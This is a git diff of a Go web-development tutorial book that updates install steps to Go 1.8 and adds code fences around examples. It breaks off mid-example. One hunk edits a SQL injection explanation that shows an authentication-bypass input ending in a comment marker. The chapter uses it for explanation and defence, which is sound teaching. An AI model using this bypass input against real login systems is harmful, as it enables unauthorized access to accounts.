diff --git a/.gitignore b/.gitignore index ba5aedb9..4782776c 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,6 @@ _book *.epub *.pdf .DS_Store +.gitignore +.vscode +.git \ No newline at end of file diff --git a/de/09.4.md b/de/09.4.md index d8823175..a7ef0f4b 100644 --- a/de/09.4.md +++ b/de/09.4.md @@ -32,7 +32,7 @@ If the user inputs a user name or password as: Then our SQL becomes the following: - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. diff --git a/en/01.1.md b/en/01.1.md index fcdbec60..158f4f4a 100644 --- a/en/01.1.md +++ b/en/01.1.md @@ -76,15 +76,15 @@ A 64-bit operating system will show the following: ### Mac -Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` for 32-bit systems and `go1.7.4.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` (The later version has no 32-bit download.)for 32-bit systems and `go1.8.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in figure 1.1. ### Linux -Go to the [download page](https://golang.org/dl/), choose `go1.7.4.linux-386.tar.gz` for 32-bit systems and `go1.7.4.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.7.4.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.8.linux-386.tar.gz` for 32-bit systems and `go1.8.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.8.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. ### Windows -Go to the [download page](https://golang.org/dl/), choose `go1.7.4.windows-386.msi` for 32-bit systems and `go1.7.4.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. +Go to the [download page](https://golang.org/dl/), choose `go1.8.windows-386.msi` for 32-bit systems and `go1.8.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. ## Use third-party tools @@ -96,8 +96,8 @@ GVM is a Go multi-version control tool developed by a third-party, like rvm for Then we install Go using the following commands: - gvm install go1.7.4 - gvm use go1.7.4 + gvm install go1.8 + gvm use go1.8 After the process has finished, you're all set. @@ -109,16 +109,19 @@ Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` t sudo apt-get update sudo apt-get install golang-stable -###wget +### wget ```sh -wget https://storage.googleapis.com/golang/go1.7.4.linux-amd64.tar.gz -sudo tar -xzf go1.7.4.linux-amd64.tar.gz -C /usr/local -export PATH=PATH:/usr/local/go/binexportGOROOT=HOME/go -export PATH=PATH:GOROOT/bin -export GOPATH=HOME/gowork -``` +wget https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz +sudo tar -xzf go1.8.linux-amd64.tar.gz -C /usr/local +# Go environment +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=HOME/gopath +``` +Starting from go 1.8,The GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows. ### Homebrew Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go. diff --git a/en/01.2.md b/en/01.2.md index e927e21e..23d98539 100644 --- a/en/01.2.md +++ b/en/01.2.md @@ -4,15 +4,17 @@ Go takes a unique approach to manage the code files with the introduction of a `$GOPATH` directory which contains all the go code in the machine. Note that this is different from the `$GOROOT` environment variable which states where go is installed on the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called `.bashrc` we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity. +Starting from go 1.8, the GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows. + In Unix-like systems, the variable should be used like this: export GOPATH=/home/apple/mygo In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) -It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. So it is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as , and this breaks all the applications which will import your package because the `go get` won't find your package anywhere. So please follow conventions, there is a reason conventions are created +It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. It is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as , and this breaks all the applications which will import your package because the `go get` won't find your package. Please follow conventions, there is a reason conventions are created. -In $GOPATH, you must have three folders as follows. +In $GOPATH, you must have three folders as follows: - `src` for source files whose suffix is .go, .c, .g, .s. - `pkg` for compiled files whose suffix is .a. @@ -72,6 +74,8 @@ Create a new application package called `mathapp`. Write the following content to main.go. +```Go + //$GOPATH/src/mathapp/main.go source code. package main @@ -83,7 +87,8 @@ Write the following content to main.go. func main() { fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) } - +``` + To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal. Hello world. Sqrt(2) = 1.414213562373095 @@ -114,9 +119,9 @@ After executing the above commands, the directory structure should look like fol Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`. You can use remote packages in the same way that we use local packages. - +```Go import "github.com/astaxie/beedb" - +``` ## Directory complete structure If you've followed all of the above steps, your directory structure should now look like the following. diff --git a/en/01.4.md b/en/01.4.md index b71c6d73..7d9bba0b 100644 --- a/en/01.4.md +++ b/en/01.4.md @@ -468,7 +468,7 @@ Atom is an awesome text editor released as open source cross platform, built on Download: https://atom.io/ -##Gogland +## Gogland Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. diff --git a/en/02.1.md b/en/02.1.md index 72ae1bc2..2f584860 100644 --- a/en/02.1.md +++ b/en/02.1.md @@ -1,6 +1,7 @@ ## What makes Go different from other languages? The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the `gofmt` tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer base, in other languages there are religious wars on where to keep the opening brace? +```java public static void main() { @@ -11,6 +12,7 @@ The Go programming language was created with one goal in mind, to be able to bui { } +``` or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. While this might seem to be a shallow problem at the top, but when the codebase grows and more and more people are working on the same code base, then it is difficult to maintain the code's "beauty", if you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code. @@ -40,7 +42,7 @@ Before we start building an application in Go, we need to learn how to write a s According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world". Are you ready? Let's Go! - +```Go package main import "fmt" @@ -48,7 +50,7 @@ Are you ready? Let's Go! func main() { fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") } - +``` It prints following information. Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 @@ -83,10 +85,11 @@ Each go file is in some package, and that package should be a distinct folder in the thing here is that when your code is using some static files or something else, then you ought to run the binary from the root of the application as we see in the second line above, I am running the `main` binary *outside* the main package, sometimes you might wonder why your application isn't working then this might be one of the possible problems, please keep this in mind. One thing you will notice here is that go doesn't see to use semi colons to end a statement, well, it does, just there is a minor catch, the programmer isn't expected to put semi colons, the compiler adds semi colons to the gocode when it compiles which is the reason that this (thankfully!) is a syntax error - +```Go func main () { } +``` because the compiler adds a semi colon at the end of `main()` which is a syntax error and as stated above, it helps avoid religious wars, i wish they combine `vim` and `emacs` and create a universal editor which'll help save some more wars! But for now we'll learn Go. ## Conclusion diff --git a/en/02.2.md b/en/02.2.md index c0135a81..e4839a7c 100644 --- a/en/02.2.md +++ b/en/02.2.md @@ -7,118 +7,119 @@ In this section, we are going to teach you how to define constants, variables wi There are many forms of syntax that can be used to define variables in Go. The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. - +```Go // define a variable with name “variableName” and type "type" var variableName type - +``` Define multiple variables. - +```Go // define three variables which types are "type" var vname1, vname2, vname3 type - +``` Define a variable with initial value. - +```Go // define a variable with name “variableName”, type "type" and value "value" var variableName type = value - +``` Define multiple variables with initial values. - +```Go /* Define three variables with type "type", and initialize their values. vname1 is v1, vname2 is v2, vname3 is v3 */ var vname1, vname2, vname3 type = v1, v2, v3 - +``` Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead: - +```Go /* Define three variables without type "type", and initialize their values. vname1 is v1,vname2 is v2,vname3 is v3 */ var vname1, vname2, vname3 = v1, v2, v3 - +``` Well, I know this is still not simple enough for you. Let's see how we fix it. - +```Go /* Define three variables without type "type" and without keyword "var", and initialize their values. vname1 is v1,vname2 is v2,vname3 is v3 */ vname1, vname2, vname3 := v1, v2, v3 - +``` Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables. `_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) - +```Go _, b := 34, 35 - +``` If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. - +```Go package main func main() { var i int } - +``` ## Constants So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. Define constants as follows. - +```Go const constantName = value // you can assign type of constants if it's necessary const Pi float32 = 3.1415926 - +``` More examples. - +```Go const Pi = 3.1415926 const i = 10000 const MaxThread = 10 const prefix = "astaxie_" - +``` ## Elementary types ### Boolean In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) +```Go +// sample code +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables - // sample code - var isActive bool // global variable - var enabled, disabled = true, false // omit type of variables - func test() { - var available bool // local variable - valid := false // brief statement of variable - available = true // assign value to variable - } - +func test() { + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable +} +``` ### Numerical types Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. - +```Go var a int8 var b int32 c := a + b - +``` Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement. That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is the imaginary number. There is a example of complex number. - +```Go var c complex64 = 5+5i //output: (5+5i) fmt.Printf("Value is: %v", c) - +``` ### String We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. - +```Go // sample code var frenchHello string // basic form to define string var emptyString string = "" // define a string with empty string @@ -127,49 +128,49 @@ We just talked about how Go uses the UTF-8 character set. Strings are represente japaneseHello := "Ohaiou" frenchHello = "Bonjour" // basic form of assign values } - +``` It's impossible to change string values by index. You will get errors when you compile the following code. - +```Go var s string = "hello" s[0] = 'c' - +``` What if I really want to change just one character in a string? Try the following code. - +```Go s := "hello" c := []byte(s) // convert string to []byte type c[0] = 'c' s2 := string(c) // convert back to string type fmt.Printf("%s\n", s2) - +``` You use the `+` operator to combine two strings. - +```Go s := "hello," m := " world" a := s + m fmt.Printf("%s\n", a) - +``` and also. - +```Go s := "hello" s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. fmt.Printf("%s\n", s) - +``` What if I want to have a multiple-line string? - +```Go m := `hello world` - +``` ``` ` ``` will not escape any characters in a string. ### Error types Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. - +```Go err := errors.New("emit macho dwarf: elf header corrupted") if err != nil { fmt.Print(err) } - +``` ### Underlying data structure The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox's Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. @@ -185,7 +186,7 @@ Figure 2.1 Go underlying data structure If you want to define multiple constants, variables or import packages, you can use the group form. Basic form. - +```Go import "fmt" import "os" @@ -196,9 +197,9 @@ Basic form. var i int var pi float32 var prefix string - +``` Group form. - +```Go import( "fmt" "os" @@ -215,13 +216,13 @@ Group form. pi float32 prefix string ) - +``` Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. ### iota enumerate Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. - +```Go const( x = iota // x == 0 y = iota // y == 1 @@ -235,7 +236,7 @@ Go has one keyword called `iota`, this keyword is to make `enum`, it begins with const ( e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. ) - +``` ### Some rules The reason that Go is concise because it has some default behaviors. @@ -248,11 +249,11 @@ The reason that Go is concise because it has some default behaviors. ### array `array` is an array obviously, we define one as follows. - +```Go var arr [n]type - +``` in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. - +```Go var arr [10]int // an array of type [10]int arr[0] = 42 // array is 0-based arr[1] = 13 // assign value to element @@ -260,11 +261,11 @@ in `[n]type`, `n` is the length of the array, `type` is the type of its elements // get element value, it returns 42 fmt.Printf("The last element is %d\n", arr[9]) //it returns default value of 10th element in this array, which is 0 in this case. - +``` Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. It's possible to use `:=` when you define arrays. - +```Go a := [3]int{1, 2, 3} // define an int array with 3 elements b := [10]int{1, 2, 3} @@ -272,15 +273,15 @@ It's possible to use `:=` when you define arrays. //The rest of them use the default value 0. c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. - +``` You may want to use arrays as arrays' elements. Let's see how to do this. - +```Go // define a two-dimensional array with 2 elements, and each element has 4 elements. doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} // The declaration can be written more concisely as follows. easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} - +``` Array underlying data structure. ![](images/2.2.array.png?raw=true) @@ -292,18 +293,18 @@ Figure 2.2 Multidimensional array mapping relationship In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go. `slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. - +```Go // just like defining an array, but this time, we exclude the length. var fslice []int - +``` Then we define a `slice`, and initialize its data. - +```Go slice := []byte {'a', 'b', 'c', 'd'} - +``` `slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`. - +```Go // define an array with 10 elements whose types are bytes var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} @@ -317,7 +318,7 @@ of the slice is `j-i`. // 'b' is another slice of array ar b = ar[3:5] // now 'b' has elements ar[3] and ar[4] - +``` Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only. @@ -334,7 +335,7 @@ slice has some convenient operations. - You can use `ar[:]` to slice whole array, reasons are explained in first two statements. More examples pertaining to `slice` - +```Go // define an array var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} // define two slices @@ -351,7 +352,7 @@ More examples pertaining to `slice` bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g - +``` `slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well. @@ -361,10 +362,10 @@ For instance, in the case of `aSlice` and `bSlice` above, if you change the valu - A pointer that points to where `slice` starts. - The length of `slice`. - Capacity, the length from start index to end index of `slice`. - +```Go Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} Slice_a := Array_a[2:5] - +``` The underlying data structure of the code above as follows. ![](images/2.2.slice2.png?raw=true) @@ -389,7 +390,7 @@ this happens, other slices pointing to the old array will not be affected. Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values. - +```Go // use string as the key type, int as the value type, and `make` initialize it. var numbers map[string] int // another way to define map @@ -400,7 +401,7 @@ all able to use `==` and `!=` to compare values. fmt.Println("The third number is: ", numbers["three"]) // get values // It prints: The third number is: 3 - +``` Some notes when you use map. - `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`. @@ -411,7 +412,7 @@ Some notes when you use map. You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists. Use `delete` to delete an element in `map`. - +```Go // Initialize a map rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } // map has two return values. For the second return value, if the key doesn't @@ -424,15 +425,15 @@ Use `delete` to delete an element in `map`. } delete(rating, "C") // delete element with key "c" - +``` As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them. - +```Go m := make(map[string]string) m["Hello"] = "Bonjour" m1 := m m1["Hello"] = "Salut" // now the value of m["hello"] is Salut - +``` ### make, new `make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' @@ -458,7 +459,7 @@ The following picture shows how `new` and `make` are different. Figure 2.5 Underlying memory allocation of make and new Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. - +```Go int 0 int8 0 int32 0 @@ -470,7 +471,7 @@ Zero-value does not mean empty value. It's the value that variables default to i float64 0 //length is 8 byte bool false string "" - +``` ## Links - [Directory](preface.md) diff --git a/en/02.3.md b/en/02.3.md index 5fd21659..9f7a9c50 100644 --- a/en/02.3.md +++ b/en/02.3.md @@ -11,15 +11,15 @@ The greatest invention in programming is flow control. Because of them, you are `if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not. `if` doesn't need parentheses in Go. - +```Go if x > 10 { fmt.Println("x is greater than 10") } else { fmt.Println("x is less than or equal to 10") } - +``` The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. - +```Go // initialize x, then check if x greater than if x := computedValue(); x > 10 { fmt.Println("x is greater than 10") @@ -29,9 +29,9 @@ The most useful thing concerning `if` in Go is that it can have one initializati // the following code will not compile fmt.Println(x) - +``` Use if-else for multiple conditions. - +```Go if integer == 3 { fmt.Println("The integer is equal to 3") } else if integer < 3 { @@ -39,11 +39,11 @@ Use if-else for multiple conditions. } else { fmt.Println("The integer is greater than 3") } - +``` ### goto Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. - +```Go func myFunc() { i := 0 Here: // label ends with ":" @@ -51,21 +51,21 @@ Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the con i++ goto Here // jump to label "Here" } - +``` The label name is case sensitive. ### for `for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. - +```Go for expression1; expression2; expression3 { //... } - +``` `expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop. Examples are more useful than words. - +```Go package main import "fmt" @@ -77,25 +77,25 @@ Examples are more useful than words. fmt.Println("sum is equal to ", sum) } // Print:sum is equal to 45 - +``` Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. We can omit `expression1` and `expression3` if they are not necessary. - +```Go sum := 1 for ; sum < 1000; { sum += sum } - +``` Omit `;` as well. Feel familiar? Yes, it's identical to `while`. - +```Go sum := 1 for sum < 1000 { sum += sum } - +``` There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. - +```Go for index := 10; index>0; index-- { if index == 5{ break // or continue @@ -104,14 +104,14 @@ There are two important operations in loops which are `break` and `continue`. `b } // break prints 10、9、8、7、6 // continue prints 10、9、8、7、6、4、3、2、1 - +``` `for` can read data from `slice` and `map` when it is used together with `range`. - +```Go for k,v:=range map { fmt.Println("map's key:",k) fmt.Println("map's val:",v) } - +``` Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. for _, v := range map{ @@ -121,7 +121,7 @@ Because Go supports multi-value returns and gives compile errors when you don't ### switch Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem. - +```Go switch sExpr { case expr1: some instructions @@ -132,9 +132,9 @@ Sometimes you may find that you are using too many `if-else` statements to imple default: other code } - +``` The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. - +```Go i := 10 switch i { case 1: @@ -146,9 +146,9 @@ The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is default: fmt.Println("All I know is that i is an integer") } - +``` In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. - +```Go integer := 6 switch integer { case 4: @@ -169,24 +169,24 @@ In the fifth line, we put many values in one `case`, and we don't need to add th default: fmt.Println("default case") } - +``` This program prints the following information. - +```Go integer <= 6 integer <= 7 integer <= 8 default case - +``` ## Functions Use the `func` keyword to define a function. - +```Go func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { // function body // multi-value return return value1, value2 } - +``` We can extrapolate the following information from the example above. - Use keyword `func` to define a function `funcName`. @@ -198,31 +198,33 @@ We can extrapolate the following information from the example above. - If the function has return values, you have to use the `return` statement somewhere in the body of the function. Let's see one practical example. (calculate maximum value) +```Go +package main - package main - import "fmt" +import "fmt" - // return greater value between a and b - func max(a, b int) int { - if a > b { - return a - } - return b +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a } + return b +} - func main() { - x := 3 - y := 4 - z := 5 +func main() { + x := 3 + y := 4 + z := 5 - max_xy := max(x, y) // call function max(x, y) - max_xz := max(x, z) // call function max(x, z) + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) - fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) - fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) - fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here - } + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} +``` In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. ### Multi-value return @@ -230,71 +232,73 @@ In the above example, there are two arguments in the function `max`, their types One thing that Go is better at than C is that it supports multi-value returns. We'll use the following example here. +```Go +package main - package main - import "fmt" +import "fmt" - // return results of A + B and A * B - func SumAndProduct(A, B int) (int, int) { - return A+B, A*B - } +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} - func main() { - x := 3 - y := 4 +func main() { + x := 3 + y := 4 - xPLUSy, xTIMESy := SumAndProduct(x, y) + xPLUSy, xTIMESy := SumAndProduct(x, y) - fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) - fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) - } - + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} +``` The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. - +```Go func SumAndProduct(A, B int) (add int, multiplied int) { add = A+B multiplied = A*B return } - +``` ### Variadic functions Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments. - +```Go func myfunc(arg ...int) {} - +``` `arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. - +```Go for _, n := range arg { fmt.Printf("And the number is: %d\n", n) } - +``` ### Pass by value and pointers When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. Let's see one example in order to prove what i'm saying. +```Go +package main - package main - import "fmt" +import "fmt" - // simple function to add 1 to a - func add1(a int) int { - a = a+1 // we change value of a - return a // return new value of a - } +// simple function to add 1 to a +func add1(a int) int { + a = a + 1 // we change value of a + return a // return new value of a +} - func main() { - x := 3 +func main() { + x := 3 - fmt.Println("x = ", x) // should print "x = 3" + fmt.Println("x = ", x) // should print "x = 3" - x1 := add1(x) // call add1(x) + x1 := add1(x) // call add1(x) - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 3" - } - + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 3" +} +``` Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change. The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. @@ -302,122 +306,126 @@ The reason is very simple: when we called `add1`, we gave a copy of `x` to it, n Now you may ask how I can pass the real `x` to the function. We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value. +```Go +package main - package main - import "fmt" +import "fmt" - // simple function to add 1 to a - func add1(a *int) int { - *a = *a+1 // we changed value of a - return *a // return new value of a - } +// simple function to add 1 to a +func add1(a *int) int { + *a = *a + 1 // we changed value of a + return *a // return new value of a +} - func main() { - x := 3 +func main() { + x := 3 - fmt.Println("x = ", x) // should print "x = 3" + fmt.Println("x = ", x) // should print "x = 3" - x1 := add1(&x) // call add1(&x) pass memory address of x + x1 := add1(&x) // call add1(&x) pass memory address of x - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 4" - } - + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 4" +} + +``` Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages? - Allows us to use more functions to operate on one variable. - Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables. -- `string`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) +- `channel`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) ### defer Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples. - - func ReadWrite() bool { - file.Open("file") +```Go +func ReadWrite() bool { + 